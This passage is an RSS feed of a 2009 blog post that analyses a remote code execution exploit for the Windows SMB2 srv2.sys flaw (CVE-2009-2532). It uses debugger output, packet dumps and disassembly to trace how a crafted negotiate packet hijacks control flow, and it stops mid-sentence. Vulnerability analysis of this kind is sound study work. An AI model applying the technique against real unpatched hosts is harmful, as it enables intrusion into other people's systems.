<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Snoop Security Researching Community &#187; windows kernel</title>
	<atom:link href="http://www.snoop-security.com/blog/index.php/tag/windows-kernel/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.snoop-security.com/blog</link>
	<description></description>
	<lastBuildDate>Thu, 04 Mar 2010 08:06:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SMB2 Exploitation Guide for Housekeepers &amp; Dummies !</title>
		<link>http://www.snoop-security.com/blog/index.php/2009/10/smb2-exploitation-guide-for-housekeepers-dummies/</link>
		<comments>http://www.snoop-security.com/blog/index.php/2009/10/smb2-exploitation-guide-for-housekeepers-dummies/#comments</comments>
		<pubDate>Sat, 17 Oct 2009 22:55:01 +0000</pubDate>
		<dc:creator>Snake</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Exploit Development]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[analyse]]></category>
		<category><![CDATA[CVE-2009-2532]]></category>
		<category><![CDATA[driver exploitation]]></category>
		<category><![CDATA[drivers]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[MS09-50]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[SMB]]></category>
		<category><![CDATA[SMB2]]></category>
		<category><![CDATA[smb2 exploit]]></category>
		<category><![CDATA[srv2.sys]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[windows kernel]]></category>

		<guid isPermaLink="false">http://www.snoop-security.com/blog/?p=72</guid>
		<description><![CDATA[Hi buddies  This is Snake again. SMB2 flaw was a big mistake for Microsoft  ( just take look at Laurent Gaffié fuzzer ! )  and in this post i will discuss how exploit this vulnerability.my informations and exploitation guide is base on Stephen Fewer  first exploit ( i will discuss second exploit known as [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ffffff;">Hi buddies  This is Snake again. SMB2 flaw was a big mistake for Microsoft  ( just take look at Laurent Gaffié fuzzer ! )  and in this post i will discuss how exploit this vulnerability.my informations and exploitation guide is base on Stephen Fewer  first exploit ( i will discuss second exploit known as &#8220;351 Packets from the Trampoline&#8221; in another post ) . before we start , it is better to know some basic information about smb protocol  . </span></p>
<h2><strong><em><span style="color: #ffffff;">What is SMB ? </span></em></strong></h2>
<p><span style="color: #ffffff;"> </span><strong><em><span style="color: #ffffff;"> </span></em></strong><span style="color: #ffffff;">from Wikipedia :  &#8221;In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used to provide shared access to files, printers, serial ports, and miscellaneous communications between nodes on a network. It also provides an authenticated Inter-process communication mechanism. Most usage of SMB involves computers running Microsoft Windows, where it is often known as &#8216;Microsoft Windows Network&#8217; &#8221; and smb2 , &#8220;Microsoft introduced a new version of the Server Message Block (SMB) protocol (SMB 2.0 or SMB2) with Windows Vista in 2006. SMB2 reduces the &#8216;chattiness&#8217; of the protocol by reducing the number of commands and subcommands from over a hundred to just nineteen. It has mechanisms for pipelining, that is, sending additional requests before the response to a previous request arrives.&#8221;  in Windows Vista/2008/7 , </span><em><span style="color: #ff0000;"><strong><span style="color: #ffffff;">srv2.sys</span></strong></span></em><span style="color: #ffffff;"> driver handle smb2 messages . there is vulnerability in that driver when it want to call a function from a function table.  lets dig into srv2.sys and finding vulnerability &#8230; </span></p>
<h2><strong><em><span style="color: #ffffff;">Start Point : The Vulnerability</span></em></strong></h2>
<p><span style="color: #ffffff;"> </span><strong><em><span style="color: #ffffff;"> </span></em></strong><span style="color: #ffffff;">lets start with vulnerability itself , as i said vulnerability occurred in when srv2.sys deriver want handle a specially corrupted  message . vulnerable codes are in </span><em><strong><span style="color: #ffffff;">Smb2ValidateProviderCallback()</span></strong></em><span style="color: #ffffff;"> function . in Smb2ValidateProviderCallback(x)+4DE we have : </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Vulnerable Function" src="http://img.majidonline.com/pic/237436/1.png" alt="fig.1" width="757" height="151" /></p>
<p><span style="color: #ffffff;"> we can write it down in simple pseudo code like this : </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ffffff;">[...]
 CallBackFunction = _ValidateRoutines[ NegotiatePacket-&gt;PidHight * 4 ];
 if ( CallBackFunction == NULL ){
 // some codes for recovering saved Security_Cookie
 // they add automatically by compiler in function epilogue
 // mov     ecx, [ebp+var_4] -&gt; this is Cookie
 // pop     edi
 // pop     esi
 // xor     ecx, ebp -&gt; recovering Cookie
 // pop     ebx
 // call __security_check_cookie(Saved_Security_Cookie) -&gt; eating cookie <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
 return ( 0xC0000002 );
 } else {
 return ( (*CallBackFunction)(Argument) );
 }
[...]</span></pre>
</blockquote>
<p><span style="color: #ffffff;"> you find the vuln ? as you can see there is parameter  &#8221;NegotiatePacket-&gt;PidHight&#8221;. this is a part of </span><strong><em><span style="color: #ffffff;">NEGOTIATE PROTOCOL REQUEST PACKET</span></em></strong><span style="color: #ffffff;"> . we can control this field in our packet ,  so we can control &#8220;CallBackFunction&#8221; , and if we control &#8220;CallBackFunction&#8221; we control EIP ! </span></p>
<h2><strong><em><span style="color: #ffffff;">Packet, Header and PID</span></em></strong></h2>
<p><span style="color: #ffffff;"> before triggering the vulnerability  we need Packet bullet  .  SMB Packets are composed of three parts : </span></p>
<ul><span style="color: #ffffff;"> </span></p>
<li><span style="color: #ffffff;">Header</span></li>
<p><span style="color: #ffffff;"> </span></p>
<li><span style="color: #ffffff;">Parameter Block</span></li>
<p><span style="color: #ffffff;"> </span></p>
<li><span style="color: #ffffff;">Data Block</span></li>
<p><span style="color: #ffffff;"> </span></ul>
<p><span style="color: #ffffff;"> in above figure you can see SMB packet layout : </span></p>
<p style="text-align: center;"><img class="aligncenter" title="SMB Packet Layout" src="http://img.majidonline.com/pic/237437/2.png" alt="Smb Packet" width="500" height="212" /></p>
<p><span style="color: #ffffff;"> in syntax presentation Header is look like : </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ffffff;">SMB_HEADER
  {
  PROTOCOL  = "\xffSMB"
  COMMAND   = &lt;SMB Command code&gt;
  STATUS    = &lt;Status code&gt;
  FLAGS     = &lt;Old flags&gt;
  FLAGS2    = &lt;New flags&gt;
  EXTRA     = &lt;Sometimes used for additional data&gt;
  TID       = &lt;Tree ID&gt;
  PID       = &lt;Process ID&gt;
  UID       = &lt;User ID&gt;
  MID       = &lt;Multiplex ID&gt;
[...]
}</span></pre>
</blockquote>
<p><span style="color: #ffffff;"> The first four bytes are the protocol identifier string , which always are &#8220;\xffSMB&#8221;  ( \xfe in smb2 ). next filed is COMMAND filed. COMMAND filed is very key factor in smb messages and also in exploitation ( correct command lead us to vulnerable codes ) .as i mentioned before , for diving into vulnerable code wen need to send an </span><strong><em><span style="color: #ffffff;">NEGOTIATE PROTOCOL REQUEST PACKET </span></em></strong><span style="color: #ff0000;"><span style="color: #ffffff;">. lets take look at NPR Packet :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ffffff;">NEGOTIATE_PROTOCOL_REQUEST
  {
  SMB_HEADER
    {
    PROTOCOL  = "\xffSMB"
    COMMAND   = SMB_COM_NEGOTIATE (0x72)
    STATUS
      {
      ErrorClass
      ErrorCode
      }
    FLAGS
    FLAGS2
    EXTRA
      {
      PidHigh
      Signature
      }
    TID
    PID
    UID
    MID
    }
</span><span style="color: #ff0000;"><span style="color: #ffffff;"> [...]
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">in normal manner PidHight call one of Fucntions which strored in _ValidateRoutines Function Pointer Table :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="ValidateRoutines Function Pointer Table" src="http://img.majidonline.com/pic/237439/3.png" alt="ValidateRoutines Function Pointer Table" width="863" height="258" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">but we want to control execution fl0w , so by sending a specially crafted NRP Packet , we lead execution flow to desire place.but there is limitation . because we PidHight is a word type  , this means just 2 byte length.biggest number in word types is 0xFFFF , and so we can change EIP to </span><span style="color: #ff0000;"><span style="color: #ffffff;">[ _ValidateRoutines </span></span><span style="color: #ffffff;">Address +  ( 0xFF * 4)  ] . there is many locations which we can land in , but where is a reliable place ? at all we need to jump to our packet to execute desire codes . lets start debugging :</span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; u 917ac745
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!Smb2ValidateProviderCallback+0x4e8:
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac749 8b048570227c91  mov     eax,dword ptr srv2!ValidateRoutines (917c2270)[eax*4]
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac750 85c0            test    eax,eax
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac752 7507            jne     srv2!Smb2ValidateProviderCallback+0x4fe (917ac75b)
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac754 b8020000c0      mov     eax,0C0000002h
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac759 eb03            jmp     srv2!Smb2ValidateProviderCallback+0x501 (917ac75e)
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac75b 53              push    ebx
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac75c ffd0            call    eax
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; bl
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;"> 0 e 917ac745     0001 (0001) srv2!Smb2ValidateProviderCallback+0x4e8
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;"> 1 eu             0001 (0001) (l)
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;"> 2 e 917b7ea0     0001 (0001) srv2!SrvSnapShotScavengerTimer
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; g
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">Breakpoint 0 hit
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!Smb2ValidateProviderCallback+0x4e8:
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">917ac745 0fb7460c        movzx   eax,word ptr [esi+0Ch]
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">i put a break point in vulnerable function  ( in srv2!Smb2ValidateProviderCallback+0&#215;4e8 )  , then i run  Stephan&#8217;s Exploit .as you can see , ESI+0c point to PidHight , and ESI itself poit to our packet :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;"> kd&gt; d esi
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317600  ff 53 4d 42 72 00 00 00-00 18 53 c8 17 02 00 e9  .SMBr.....S.....
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317610  58 01 00 00 00 00 00 00-00 00 00 00 00 00 c5 bb  X...............
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317620  00 20 02 02 04 0d df ff-04 0d df ff 04 0d df ff  . ..............
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317630  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317640  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317650  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317660  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">85317670  04 0d df ff 04 0d df ff-04 0d df ff 04 0d df ff  ................

</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> Stephen use  0&#215;0217 as index for </span><span style="color: #ff0000;"><span style="color: #ffffff;">ValidateRoutines</span></span><span style="color: #ffffff;"> function table . but why ? i mentioned before , after all we need to jump to our packet for getting code execute and you know we just can control stack by jumping to pop/push instructions. now esp point to 091996d04 , this very far from our packet address ( </span><span style="color: #ff0000;"><span style="color: #ffffff;">0&#215;85317600</span></span><span style="color: #ffffff;"> )  so poping items from stack is not good idea !  but how ESI got a pointer to our packet ? maybe it loaded from stack to ESI ?! lets search stack for Packet Pointers :</span></span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; s -d 0x91996d04 L?0x91996d04+50 0x85317600
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d1c  85317600 8518b1a8 84eb7568 8713b808  .v1.....hu......</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span></p>
<p style="text-align: left;"><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> yow ,  i found one ! it located at 0x</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d1c</span></span><span style="color: #ffffff;"> . but wat we can do with this pointer ? jumping to 6 pop and then ret ? or add esp,18/ret ? can we find those instructions ? i think the answer is no ! but what we can do ? Stephen use 0&#215;0217 as index,  now EAX point to </span><strong><em><span style="color: #ffffff;">SrvSnapShotScavengerTime</span></em></strong><span style="color: #ffffff;">r function. let see what have there : </span></span></span><span style="color: #ffffff;"> </span><img class="aligncenter" title="SrvSnapShotScavengerTimer function" src="http://img.majidonline.com/pic/237441/4.png" alt="SrvSnapShotScavengerTimer Function" width="637" height="188" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">little function . what is so important in this function ? if you look carefully you see RET 0&#215;10 instruction at the end of function!   SrvSnapShotScavengerTimer function called with Stdcall calling convention , this means stack clean up is on Callee not Caller . now we have 4 argument ( 16 byte ) and so RET 10h clean argument up from stack. but why we do this ? lets take look at end of Smb2ValidateProviderCallback :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">pop     edi
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">pop     esi
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">xor     ecx, ebp
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">pop     ebx
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">call    @__security_check_cookie@4 ; __security_check_cookie(x)
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">leave
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">retn    4

</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">if you remember , our packet pointer was in esp+18 , so by ret 10h  our pointer move ( not really MOVE !!! ) to esp+4 ! look :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; dd esp
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d18  84eb746c 85317600 8518b1a8 84eb7568
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d28  8713b808 84eb7408 917c4fc4 00000000
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d38  00e5448c 91996d50 917c4a77 8518b008
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d48  86e9aee0 8518b008 91996d7c 917c319f
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d58  8518b008 00000000 8713b808 00000000
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d68  00000000 00000000 91996d80 00000001
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d78  00000001 91996dc0 819eda1c 00000000
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">91996d88  7426f33a 00000000 00000000 00000000</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> so after we return from </span><span style="color: #ff0000;"><span style="color: #ffffff;">SrvSnapShotScavengerTimer</span></span><span style="color: #ffffff;"> and at the end of </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">Smb2ValidateProviderCallback , EDI receive 0</span><span style="color: #ff0000;"><span style="color: #ffffff;">84eb746c</span></span><span style="color: #ffffff;"> and after that , by pop esi , ESI will grab 0x</span></span></span></span></span><span style="color: #ff0000;"><span style="color: #ffffff;">85317600 ! but why we do this ? becuse we need esi as pointer to our controllable area </span></span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">. you will find out it further . now lets take lock at call stack , where we return after </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">Smb2ValidateProviderCallback is </span></span></span></span></span></span><span style="color: #ff0000;"><strong><em><span style="color: #ffffff;"> srv2!SrvProcessPacket+0&#215;4b</span></em></strong></span><span style="color: #ff0000;"><span style="color: #ffffff;"> :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="srv2!SrvProcessPacket+0x4b" src="http://img.majidonline.com/pic/237442/6.png" alt="srv2!SrvProcessPacket+0x4b" width="685" height="445" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">EAX is zero  :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">kd&gt; r
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">eax=00000000 ebx=8515c778 ecx=91b8b96a edx=00000000 esi=85211bf8 edi=85217444
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">eip=91b8da77 esp=88561d48 ebp=88561d50 iopl=0         nv up ei pl zr na pe nc
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> so we jump to loc_91E78A99 , result of comparing EAX  with 0&#215;103 is jump to srv2!SrvProcessPacket+74 . in this basic block EAX compared with EDI and because EDI has non-zero value , we jump to  loc_91E78AA9 .after a few instructions , we land here :</span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Fig.7" src="http://img.majidonline.com/pic/237443/7.png" alt="fig.7" width="542" height="103" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;"> ESI still point to our packet , because there wasn&#8217;t any instruction which change ESI value . after ESI pushed on the stack </span><span style="color: #ff0000;"><em><strong><span style="color: #ffffff;">srv2!SrvProcCompleteRequest</span></strong></em></span><span style="color: #ffffff;"> function called.this function is key for getting code execute ! a little cheat show you this key :</span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Cheaty Beaty" src="http://img.majidonline.com/pic/237444/8.png" alt="Cheaty Beaty" width="266" height="186" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">you found that :-&#8221;  . at the first of this function we have :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="fig.9" src="http://img.majidonline.com/pic/237445/9.png" alt="fig.9" width="559" height="324" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">after some  repetitious instructions :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">mov     esi, dword ptr [ebp+NewIrql]
cmp     byte ptr [esi+0C8h], 0
jnz     short loc_91E78AE7
</span></span><span style="color: #ff0000;"><span style="color: #ffffff;">
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">NewIrql is 3rd  parameter from stack , you remember ? that was a push esi ! after that we have compare instruction . if esi+0c8 wasn&#8217;t zero we jump to </span><span style="color: #ff0000;"><span style="color: #ffffff;">loc_91E78AE7</span></span><span style="color: #ffffff;"> . </span><span style="color: #ff0000;"><span style="color: #ffffff;">loc_91E78AE7</span></span><span style="color: #ffffff;"> will direct us to fully controllable &#8220;call eax&#8221; .if  i don&#8217;t understand why Stephen doesn&#8217;t put zero at esi+0c8 and make his job harder by second call to </span></span></span><span style="color: #ff0000;"><span style="color: #ffffff;">srv2!SrvProcCompleteRequest to get &#8220;call eax&#8221; ,continue reading ,  i will show you his l33t magic . so as i said , esi+0c8 point to a zero value and then we are here :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="fig.10" src="http://img.majidonline.com/pic/237446/10.png" alt="fig.10" width="557" height="111" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">again ESI pushed on the stack as function argument , so we have controllable area in</span></span><strong><span style="color: #ff0000;"><span style="color: #000000;"><em><span style="color: #ffffff;"> SrvConsumeDataAndComplete</span></em></span></span></strong><span style="color: #ff0000;"><span style="color: #ffffff;"> function too . </span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="SrvConsumeDataAndComplete Function" src="http://img.majidonline.com/pic/237448/11.png" alt="fig.11" width="573" height="377" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">there isn&#8217;t any important thing in SrvConsumeDataAndComplete , just if you look carefully will see we have our controllable after </span><span style="color: #ff0000;"><strong><em><span style="color: #ffffff;">SrvConsumeDataAndComplete2</span></em></strong></span><span style="color: #ffffff;"> called , because of &#8220;mov     eax, [ebp+NewIrql]&#8221;  and then &#8221;push    eax&#8221; instructions.</span></span></span><span style="color: #ff0000;"><span style="color: #ffffff;"> there is second call to SrvProcCompleteRequest function  in SrvConsumeDataAndComplete2 . </span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="second call to SrvProcCompleteRequest function" src="http://img.majidonline.com/pic/237450/12.png" alt="fig.12" width="569" height="113" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">but if we want this , we have to change execution flow to the basic block which call </span><span style="color: #ff0000;"><span style="color: #ffffff;">SrvProcCompleteRequest</span></span><span style="color: #ffffff;">.red windows lead us to </span></span></span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ff0000;"><span style="color: #ffffff;">SrvProcCompleteRequest</span></span><span style="color: #ffffff;"> call .</span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Red Block Direction" src="http://img.majidonline.com/pic/237451/13.png" alt="fig.13" width="208" height="502" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">lets  see </span><span style="color: #ff0000;"><span style="color: #ffffff;"> SrvConsumeDataAndComplete2</span></span><span style="color: #ffffff;"> :</span></span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="SrvConsumeDataAndComplete2" src="http://img.majidonline.com/pic/237453/14.png" alt="fig.14" width="673" height="470" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">after function prologue ,  we have &#8220;cmp     dword ptr [esi+150h],ebx&#8221; , ESI+150 point to 0&#215;41414141 . so jz never jump to loc_91E796B5 </span></span><span style="color: #ff0000;"><span style="color: #ffffff;"> . in &#8220;mov     eax, [esi+14Ch]&#8221; , 0&#215;3FFFFFB4 load in EAX ( this is Stephen Magic Index ). after that becuse EAX is not zero ( cmp     eax, 0FFFFFFFFh ) , we jump to red line pointed block.i this block we have to interesting instructions :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;">mov     ebx, [esi+128h]
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">mov     edi, [esi+12Ch]</span></span><span style="color: #ff0000;"><span style="color: #ffffff;">

</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;">both esi+128 and esi+12c of our packet point to 0xFFFFFFFF . this values will further use in sbb instruction :</span></span> <span style="color: #ffffff;"> </span></p>
<blockquote><p><span style="color: #ffffff;"> </span></p>
<pre><span style="color: #ff0000;"><span style="color: #ffffff;"> sbb     ebx, edi
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">mov     [ebp+var_4], ebx
</span></span><span style="color: #ffffff;">
</span><span style="color: #ff0000;"><span style="color: #ffffff;">js      short loc_91E79683
</span></span></pre>
</blockquote>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> now , because both ebx and edi are unsigned and subtract result too, Sign Flag  will be zero and js instruction direct us to red line pointed of below figure :</span></span> <span style="color: #ffffff;"> </span></p>
<p style="text-align: center;"><img class="aligncenter" title="Landing Place" src="http://img.majidonline.com/pic/237455/15.png" alt="fig.15" width="668" height="511" /></p>
<p><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #ffffff;"> </span></span><span style="color: #ffffff;"> </span><span style="color: #ff0000;"><span style="color: #000000;"><span style="color: #ffffff;">jg instruction execute if ZF = 0 and SF=OF . if look at Flag registers you see ZF = SF = OF = 0 , so jg execute and we jump to loc_91E79668 .after Xor we rech to loc_91E7966A block.  after first sub instruction in this block we have &#8220;mov     ecx, [ebp+NewIrql]&#8221; . do you remeber Magic Index ? me put Magic Index in ebp+NewIrql , so now Magic Index load into ECX. after some instructions we jump short to loc_91E79685 block .in this block , Magic Index load into EAX . Magic Index is make the result of eax*4+130h , zero ! so &#8220;lea     eax, [esi+eax*4+130h]&#8221; is equl to &#8220;lea     eax, [esi+0]&#8221; . now eax point to our packet . after that we have &#8220;inc     dword ptr [eax]&#8221; . </span><strong><em><span style="color: #ffffff;">THIS IS BIGGEST HAXOR EDIT THAT EVER I SEE !</span></em></strong><span style="color: #ffffff;"> if look carefully at smb packet Header you see something like &#8220;424d53ff&#8221; . this hex numbers assembel to &#8220;CALL DWORD PTR SS:[EBP+ECX*2+42]&#8221; but by Stephan&#8217;s l33t magic , inc [eax] make smb header like &#8220;424d5400&#8243; and  this assemble to &#8221;add     byte ptr [ebp+ecx*2+42h],dl&#8221; . after that controllable &#8220;CALL EAX&#8221; we want to jump to our packet and if first instruction of packet assemble to </span><span style="color: 